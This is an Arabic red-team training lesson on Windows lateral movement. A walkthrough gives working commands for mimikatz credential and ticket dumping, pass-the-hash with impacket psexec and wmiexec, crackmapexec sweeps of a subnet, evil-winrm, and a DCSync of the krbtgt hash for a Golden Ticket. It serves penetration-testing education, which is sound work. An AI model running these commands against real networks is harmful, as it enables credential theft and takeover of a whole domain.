الفرق الحمراء — الهجوم
Lateral Movement — تتنقّل من غير ضوضا
PtH و PsExec و WMI و WinRM و SOCKS و Chisel و Ligolo-ng
- المستوى
- خبير
- المدة
- 95m
- الترتيب
- الدرس 47 من 85
Lateral MovementPsExecWMIPtHPivoting
من جهاز واحد للـ domain كله — السكة بتتفتح إزاي؟
تشبيه يقرّب الفكرة
حرامي دخل أوضة في فندق. الباب اللي وراه بيفتح على ممر فيه 100 أوضة. لقى مفتاح master على الكومودينو. قام يجرّبه على كل أوضة. لقى منهم 30 بيفتحوا. في الـ 30 دول لقى credit cards، passports، والأهم — مفتاح الـ penthouse. - طب يا حضرتك ما يكسر باب الـ penthouse من الأول؟؟ يا نجم الجيل.. الباب ده مدرّع. الـ adversary مش بيكسر، هو بيستلف مفاتيح. ده الـ lateral movement: جهاز واحد، credentials، شبكة مفتوحة من جوّه، وصبر.
طب ليه ما يوصلش الـ adversary لـ Domain Admin من أول جهاز؟ لأن أول جهاز عادةً workstation موظف عادي، مش عليه DA session. يبقى لازم ينطّ لجهاز تاني، ولثالث، ورابع — ويلمّ creds في كل وقفة، لحد ما يلاقي workstation عليها admin بيشتغل، أو server بيعمل scheduled task بـ DA creds.
Lateral Movement = ATT&CK TA0008. الصبر هنا مش رفاهية. ده الشغل نفسه. في APT incidents حقيقية (Mandiant data)، الـ dwell time قبل ما الـ adversary يوصل DC ممكن يوصل أسابيع. مش ساعات.
أدوات الحركة — اللي بتلعب بيهم فعلاً
بروتوكولات Windows أصلية
- SMB (445) — PsExec, smbexec
- WMI (135 + ephemeral) — wmiexec
- WinRM (5985/5986) — Invoke-Command
- RDP (3389) — أبسط لكن الأكثر مراقبة
- DCOM — أقل صخباً، MMC20.Application
Pivoting / Tunneling
- Chisel — TCP/UDP عبر HTTP
- Ligolo-ng — أحدث، أداء عالٍ
- SOCKS5 via SSH أو proxychains
- Sliver / Cobalt Strike — pivot listeners
Pass-the-Hash و Pass-the-Ticket
1
ما هي PtH؟
NTLM يستخدم hash كمفتاح authentication، ليس كلمة المرور. لو سرقت hash من LSASS، لا تحتاج لكسره — ابعثه مباشرة كأنك تعرف كلمة السر.
bash
# باستخدام impacket
psexec.py -hashes :ntlm-hash-here corp.local/Administrator@10.0.0.502
Pass-the-Ticket
Kerberos أصعب لكن أقل ضوضاء. سرقة TGT أو TGS من ذاكرة عملية، ثم حقنها في session مختلف.
bash
# تصدير TGTs
mimikatz # sekurlsa::tickets /export
# على آلة مختلفة
mimikatz # kerberos::ptt c:\temp\target.kirbi
psexec.exe \\dc01 cmdWalkthrough: من workstation إلى DC
1
جمع الاعتمادات على الجهاز الحالي
bash
# بعد SYSTEM (انظر windows-privesc)
mimikatz # sekurlsa::logonpasswords
# أو
secretsdump.py -system SYSTEM -sam SAM LOCAL2
استكشاف الشبكة
bash
# CrackMapExec — الأداة الذهبية للحركة الجانبية
crackmapexec smb 10.0.0.0/24 -u admin -H ntlm-hash --shares
crackmapexec smb 10.0.0.0/24 -u admin -H ntlm-hash --lsa # dump SAM/LSA
# اكتشف الأجهزة التي قبلت الاعتماد
crackmapexec smb 10.0.0.0/24 -u admin -H ntlm-hash | grep "(Pwn3d!)"3
انتقل إلى الجهاز التالي
bash
# WMI execution — يتجاوز PsExec في معظم EDRs
wmiexec.py corp/admin@10.0.0.55 -hashes :hash
# أو WinRM
evil-winrm -i 10.0.0.55 -u admin -H hash4
ابحث عن session لـ Domain Admin
bash
# BloodHound يكشف من سجل دخوله أين
# Cypher: MATCH p=(u:User {admincount:true})-[:HasSession]->(c:Computer) RETURN p
# لو جهازك pwn3d وجد عليه DA session = اقترب5
DCSync — السحب النهائي
bash
# لو وصلت لـ DA أو user عنده DCSync rights
secretsdump.py -just-dc-user 'corp\krbtgt' corp/da@dc01
# الحصول على krbtgt hash = Golden Ticket = ملك للنطاقمصادر
- SpecterOps — An ACE Up The Sleeve
- BloodHound documentation — attack paths
- MITRE ATT&CK — TA0008 Lateral Movement
- GOAD lab — github.com/Orange-Cyberdefense/GOAD
خلّصت الدرس؟
علّمه علشان تفضل عارف انت فين على السكة.